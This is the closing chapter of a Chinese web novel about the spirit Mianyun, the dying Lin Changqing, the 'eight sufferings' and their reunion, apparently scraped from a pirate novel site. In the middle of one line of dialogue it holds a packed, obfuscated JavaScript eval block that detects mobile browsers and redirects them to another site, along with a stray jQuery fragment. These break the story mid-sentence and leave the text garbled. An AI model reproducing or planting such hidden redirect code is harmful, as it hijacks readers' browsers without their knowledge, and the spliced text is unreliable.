“你……”眠云不知该说什么，忽然，她的眼神变得惊慌起来，她上前想要抓住林长青，却一下子抓了个空。 “看来我的愿望要实现了。”林长青看了看自己逐渐变透明的身体，意识到了什么“姐姐，江南很美，亲自去看看吧。” “我说我想出去，是想和你一起去看！”现下眠云也顾不得那么多了，她催动岐山的全部力量，试图毁掉外面的法阵“你现在做的算什么？没有你的话对我来说江南就毫无意义！” “我爱你，”林长青的眼神直白而热烈，他向来聪明，却有着孩子般的赤诚“因为我爱你，所以我想把我最好的给你，姐姐，其实我很开心，或许你没办法真正爱上我，但至少对你来说，我也是非常重要的人了。” “我不会让你如愿的，”眠云定定的看着林长青，眼中渐渐多了些什么“你不想要我救，我偏要救下你。” 说着，眠云抬手划破自己的手腕，用自己的血在地上重新画了一个阵法。 “既然你能沟通天道，我未尝不能隔绝天道。”眠云冷冷的说道“只要你不死，一切都还有挽回的余地。” “……姐姐，”林长青眼里有些无奈“我这样的情况，即使是不死，也活不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246429|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 他能感觉到，他的生命，乃至灵魂都在被慢慢抽取，他现在的身体透明，就说明他其实已经是近似于鬼的魂体状态，而不是一个活人了。 “我会想办法，”眠云近乎咬牙切齿的说道“我一定会想办法救你！” “姐姐，你的头发？”林长青眼睛亮了亮，他笑道“姐姐摸摸看？” 头发？ 眠云愣了一下，伸手去触摸，入手丝滑、柔顺、冰冷，这不再是藤蔓的触感，而是真真正正，属于人类的头发。 在眠云愣神的时候，林长青忽然冲过来轻轻抱住了她，他这一动，自然就不在阵法的范围内了，魂体几乎瞬间消散，快到连眠云都没有反应过来，只来得及抢下他的最后一缕残魂。 铮—— 随着一声清越的嗡鸣，眠云的长发应声而断，而林长青也化作光点消散在天地之间，眠云呆愣的站在原地，不知该做什么。 忽然，雷声阵阵，岐山又落了雨，眠云静静地站在雨中，任由冰冷的雨水打湿她的长发。 这是一场前所未有的倾盆大雨，雨水顺着她的脸颊滑落，像是无声的眼泪。 * “那后来呢？”花花稚嫩的声音带着些许好奇“后来怎么样了？” “后来啊，”眠云笑着说道“后来林长青的残魂化作绶带鸟，孟姜把收集八苦的方法给了我，只要用养魂之法将林长青的魂魄补齐，再收集人生八苦让他超脱于六道之外，那他就能以人类之躯，长久的陪伴在神明身边。” “啊，这个我知道。”花花兴致勃勃的数着。 “第一苦为生苦，是豪门真假千金中的真千金叶向夭，她生下来就被调换，此为出身之苦。” “第二苦为老苦，是想与姐姐换嫁的重生女宿泱的传家宝，九龙玉佩，九龙玉佩的主人是一位非常长寿的皇帝，既然长寿，免不了要受衰老之苦。” “第三苦为病苦，是那个末世的异能者陈卓伟，他急功近利，要了太多力量，身体承受不住，疾病频发，所以是病苦。” “第四苦为死苦，是皇后卢令仪，她斗败了穿越女刘烨，却死于皇上的另一个宠妃。” “接下来……接下来是什么？”花花摇摇脑袋，有些记不清了。 “求不得，普通女孩赵梓涵渴望父母的爱护，可惜爱从来求不得。”眠云笑了笑，接话道“爱别离，扁平世界的公主辛西娅与骑士利奥，两人相守时不能相爱，相爱时却必须离别。” “还有一个怨憎会，我知道是什么意思。”花花兴奋的说道“被迫与自己不喜欢的人相处的痛苦，就是怨憎会，那个想娶十个老婆的方明辉本以为自己是捡了个便宜，实际上却再也无法逃离姚家。” “最后一苦，五阴炽盛，”眠云缓缓说道“包含五毒、六欲、七情、八苦，是人间苦难的总和，也是我这千年来的所有经历。” 八苦的最后一苦，来自眠云自己。 “下雨了唉！”花花是个孩童心性，刚刚还沉迷于过去的事，见外面下了雨，就一下子被转移了注意力，冲出屋在淋雨。 眠云不紧不慢的跟上去，她并没有拿伞，也没有用法术避雨，只站在雨里，任由雨水大湿她的裙摆。 “姐姐，”熟悉的声音传来，紧接着，眠云头上多了一把油纸伞，拿着油纸伞的年轻公子笑眯眯的说道“雨停了。” 雨还未停，只是有人打伞，便算得上是晴天了。 “是啊，”眠云心念一动，握住了来人的手“林长青，有一句话，我还没来得及说你便离开了，如今你回来，我定是要说的。” “什么话？”林长青笑了笑，心里大概有了想法 “我也爱你。” （全文完）